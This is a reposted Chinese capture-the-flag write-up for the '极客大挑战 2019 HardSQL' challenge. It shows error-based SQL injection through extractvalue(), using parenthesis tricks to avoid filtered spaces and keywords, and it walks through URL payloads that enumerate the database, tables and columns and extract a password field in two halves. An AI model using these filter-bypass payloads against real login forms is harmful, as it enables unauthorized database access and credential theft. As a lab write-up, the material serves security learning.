当前位置:网站首页>[极客大挑战 2019]HardSQL

[极客大挑战 2019]HardSQL

2022-06-23 09:14:00 K00sec

[极客大挑战 2019]HardSQL

尝试了几种常用的方法,发现空格,or,and,union,order by不少都被过滤了。

image-20220514230821405

试试报错注入,没用过就直接查了查百度找找看,然后就使用 extractvalue() 函数发现没有被过滤掉。

image-20220514233244658

image-20220514233231341

# 爆破当前数据库
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(database())))))%23 # 爆破数据表 ?username=asdasdasda&password=2'-extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('%geek%')))))%23 
## '~H4rDsq1'

# 爆破字段
?username=asdasdasda&password=2'-extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('%H4rDsq1%')))))%23 ## '~id,username,password' # 暴左边30位的值 ## extractvalue() 函数最大返回值 32 所以需要用到 left() 或者 right() 函数,从左边或者右边进行切割,再拼接。 ?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(left(password,31))from(H4rDsq1)))))%23
## 'flag{4e949b07-99eb-4fec-ae1b-17'

# 暴右边的值
?username=asdasdasda&password=2'-extractvalue(1,(concat(0x7e,(select(right(password,15))from(H4rDsq1)))))%23 ## '~b-173bd90bdf56}' # '最终flag:flag{
   4e949b07-99eb-4fec-ae1b-173bd90bdf56}'
原网站

版权声明
本文为[K00sec]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_45925514/article/details/125085437